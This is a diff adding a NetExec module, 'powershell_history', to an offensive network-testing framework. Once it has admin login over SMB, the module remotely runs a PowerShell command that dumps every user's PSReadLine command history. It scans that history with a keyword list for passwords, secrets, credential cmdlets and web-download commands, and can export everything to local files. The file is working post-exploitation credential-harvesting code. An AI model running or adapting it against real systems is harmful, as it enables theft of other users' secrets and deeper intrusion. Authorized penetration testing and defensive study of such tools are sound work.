|
| 1 | +import traceback |
| 2 | +from os import makedirs |
| 3 | +from os.path import join, abspath |
| 4 | +from nxc.paths import NXC_PATH |
| 5 | + |
| 6 | + |
| 7 | +class NXCModule: |
| 8 | + """Module by @357384n""" |
| 9 | + |
| 10 | + name = "powershell_history" |
| 11 | + description = "Extracts PowerShell history for all users and looks for sensitive commands." |
| 12 | + supported_protocols = ["smb"] |
| 13 | + opsec_safe = True |
| 14 | + multiple_hosts = True |
| 15 | + |
| 16 | + def options(self, context, module_options): |
| 17 | + """To export all the history you can add the following option: -o export=True""" |
| 18 | + context.log.info(f"Received module options: {module_options}") |
| 19 | + self.export = bool(module_options.get("EXPORT", False)) |
| 20 | + context.log.info(f"Option export set to: {self.export}") |
| 21 | + |
| 22 | + def analyze_history(self, history): |
| 23 | + """Analyze PowerShell history for sensitive information.""" |
| 24 | + sensitive_keywords = [ |
| 25 | + "password", "passwd", "passw", "secret", "credential", "key", |
| 26 | + "get-credential", "convertto-securestring", "set-localuser", |
| 27 | + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", |
| 28 | + "invoke-webrequest", "invoke-restmethod" |
| 29 | + ] |
| 30 | + sensitive_commands = [] |
| 31 | + for command in history: |
| 32 | + command_lower = command.lower() |
| 33 | + if any(keyword.lower() in command_lower for keyword in sensitive_keywords): |
| 34 | + sensitive_commands.append(command.strip()) |
| 35 | + return sensitive_commands |
| 36 | + |
| 37 | + def on_admin_login(self, context, connection): |
| 38 | + """Main function to retrieve and analyze PowerShell history.""" |
| 39 | + try: |
| 40 | + context.log.info("Retrieving PowerShell history...") |
| 41 | + command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' |
| 42 | + history = connection.execute(command, True).split("\n") |
| 43 | + if history: |
| 44 | + sensitive_commands = self.analyze_history(history) |
| 45 | + if sensitive_commands: |
| 46 | + context.log.highlight("Sensitive commands found in PowerShell history:") |
| 47 | + for command in sensitive_commands: |
| 48 | + context.log.highlight(f" {command}") |
| 49 | + else: |
| 50 | + context.log.info("No sensitive commands found in PowerShell history.") |
| 51 | + else: |
| 52 | + context.log.info("No PowerShell history found.") |
| 53 | + |
| 54 | + # Check if export is enabled |
| 55 | + context.log.info(f"Export option is set to: {self.export}") |
| 56 | + if self.export and history: |
| 57 | + host = connection.host # Assuming 'host' contains the target IP or hostname |
| 58 | + filename = f"{host}_powershell_history.txt" |
| 59 | + export_path = join(NXC_PATH, "modules", "powershell_history") |
| 60 | + path = abspath(join(export_path, filename)) |
| 61 | + makedirs(export_path, exist_ok=True) |
| 62 | + |
| 63 | + context.log.info(f"Export enabled, writing history to {path}") |
| 64 | + try: |
| 65 | + with open(path, "w") as file: |
| 66 | + for cmd in history: |
| 67 | + file.write(cmd + "\n") |
| 68 | + context.log.highlight(f"PowerShell history written to: {path}") |
| 69 | + except Exception as e: |
| 70 | + context.log.fail(f"Failed to write history to {filename}: {e}") |
| 71 | + except Exception as e: |
| 72 | + context.log.fail(f"UNEXPECTED ERROR: {e}") |
| 73 | + context.log.debug(traceback.format_exc()) |
0 commit comments